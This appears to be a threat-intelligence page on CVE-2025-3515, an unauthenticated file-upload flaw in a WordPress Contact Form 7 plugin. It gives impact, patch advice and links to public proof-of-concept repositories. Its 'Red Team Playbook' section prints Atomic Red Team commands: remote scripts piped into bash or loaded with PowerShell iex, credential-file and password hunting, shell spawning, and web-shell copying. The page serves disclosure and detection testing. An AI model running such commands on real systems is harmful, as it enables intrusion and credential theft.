CVE-2025-3515
Overview
This vulnerability is an arbitrary file upload flaw caused by insufficient validation of file types in the Drag and Drop Multiple File Upload for Contact Form 7 WordPress plugin. The affected component is the file upload handler, which fails to properly enforce a blacklist on disallowed file extensions. This allows the plugin to accept and store files with dangerous extensions such as .phar, bypassing intended security controls.
Vulnerability Description
The Drag and Drop Multiple File Upload for Contact Form 7 plugin for WordPress is vulnerable to arbitrary file uploads due to insufficient file type validation in all versions up to, and including, 1.3.8.9. This makes it possible for unauthenticated attackers to bypass the plugin's blacklist and upload .phar or other dangerous file types on the affected site's server, which may make remote code execution possible on the servers that are configured to handle .phar files as executable PHP scripts, particularly in default Apache+mod_php configurations where the file extension is not strictly validated before being passed to the PHP interpreter.
Impact
An unauthenticated remote attacker can exploit this vulnerability to upload malicious files, including .phar archives, to the target server. This can lead to remote code execution if the server processes these files as PHP scripts, particularly in default Apache+mod_php setups. The attack requires no authentication and no user interaction, leveraging network access to the vulnerable WordPress site. Consequences include full server compromise, data breach, and potential lateral movement within the hosting environment, consistent with the CVSS vector indicating high confidentiality, integrity, and availability impact.
Solution
Upgrade the Drag and Drop Multiple File Upload for Contact Form 7 plugin to a version later than 1.3.8.9 where the issue is resolved. Refer to the Wordfence advisory (https://www.wordfence.com/threat-intel/vulnerabilities/id/e1298242-61d2-495e-bae7-96b5e12bd03d) and the plugin’s official changelog and source repository for patched versions. No specific workaround is documented; therefore, applying the vendor’s patch or update is required to mitigate this vulnerability.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability within the Drag and Drop Multiple File Upload for Contact Form 7 plugin for WordPress stems from inadequate validation of file types during the upload process. This flaw allows unauthenticated users to bypass the plugin's intended restrictions, enabling the upload of potentially malicious file types such as .phar. The .phar file format, which is a PHP archive, can contain executable code. When the server is configured to treat these files as executable PHP scripts, it opens the door for remote code execution, particularly in environments using default configurations of Apache with mod_php. The lack of stringent checks on file types means that attackers can exploit this weakness to upload harmful scripts that could compromise the integrity and security of the web server.
Exploitation of this vulnerability can occur through various attack vectors. An attacker could craft a malicious file and use the drag-and-drop functionality to upload it directly to the server without authentication. Once the file is on the server, if the server is set up to execute .phar files, the attacker could trigger the execution of the malicious code contained within, leading to unauthorized access or control over the server. This scenario can be particularly devastating if the server hosts sensitive data or critical applications, as it can lead to data breaches, service disruptions, or even complete system takeovers.
The real-world impact of this vulnerability is significant, especially for businesses relying on WordPress for their online presence. The potential for remote code execution means that an attacker could gain full control over the affected server, leading to data theft, defacement of the website, or the installation of further malware. The business risks associated with such an incident include financial loss, reputational damage, and legal repercussions, particularly if customer data is compromised. Organizations that fail to address this vulnerability may find themselves facing not only immediate operational challenges but also long-term consequences in terms of customer trust and regulatory compliance.
To detect and mitigate the risks associated with this vulnerability, organizations should implement a multi-faceted approach. Regularly updating the Drag and Drop Multiple File Upload plugin to the latest version is crucial, as developers often release patches to address known vulnerabilities. Additionally, employing a web application firewall (WAF) can help filter out malicious file uploads before they reach the server. Implementing strict file type validation and ensuring that the server is configured to handle file uploads securely can further reduce the risk. Monitoring server logs for unusual activity and conducting regular security audits can also aid in the early detection of potential exploitation attempts.
In conclusion, the vulnerability in the Drag and Drop Multiple File Upload for Contact Form 7 plugin represents a critical security risk for WordPress sites. By enabling arbitrary file uploads without proper validation, it allows attackers to execute malicious code on vulnerable servers. Organizations must prioritize the detection and mitigation of this threat through timely updates, robust security configurations, and proactive monitoring to safeguard their digital assets and maintain the trust of their users.
CSURFACE threat intelligence has identified a marked escalation in exploitation attempts targeting the Drag and Drop Multiple File Upload for Contact Form 7 vulnerability. Our telemetry indicates a sharp increase in detection activity, signaling that threat actors are actively leveraging this critical weakness. Concurrently, new proof-of-concept exploits have emerged on public platforms, enhancing the accessibility of attack methods for less sophisticated adversaries. Although the EPSS score remains stable, the surge in exploit development and observed attack attempts elevates the operational risk for organizations running affected plugin versions. This evolving landscape underscores an increased likelihood of successful remote code execution incidents, particularly on servers configured to process .phar files as executable scripts. Defenders should recognize that the threat environment has intensified, necessitating heightened vigilance in monitoring and response capabilities.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Codedropz | Drag And Drop Multiple File Upload - Contact Form 7 | All |
cpe:2.3:a:codedropz:drag_and_drop_multiple_file_upload_-_contact_form_7:*:*:*:*:*:wordpress:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (4)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
blueisbeautiful/CVE-2025-3515
WordPress File Upload RCE Exploit
|
blueisbeautiful | 17 | 5 | 2025-09-01 | View |
|
brokendreamsclub/CVE-2025-3515
WordPress File Upload RCE Exploit
|
brokendreamsclub | 17 | 3 | 2025-09-01 | View |
|
ImBIOS/lab-cve-2025-3515
CVE-2025-3515 WordPress lab for Drag and Drop Multiple File Upload for CF7: Dockerized PoC & Nuclei testing
|
ImBIOS | 1 | 0 | 2025-09-03 | View |
|
Professor6T9/CVE-2025-3515
CVE‑2025‑3515 — Drag and Drop Multiple File Upload for Contact Form 7
|
Professor6T9 | 0 | 0 | 2025-06-22 | View |
Threat Feed
6 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Proof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-1 | Accessing Functionality Not Properly Constrained by ACLs |
35%
|
High | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (4)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2025-3515 |
| wordfence.com |
GitHub CVE
|
https://www.wordfence.com/threat-intel/vulnerabilities/id/e1298242-61d2-495e-bae7-96b5e12bd03d?source=cve |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/browser/drag-and-drop-multiple-file-upload-contact-form-7/tags/1.3.8.8/inc/dnd-upload-cf7.php#L845 |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/changeset/3310153/ |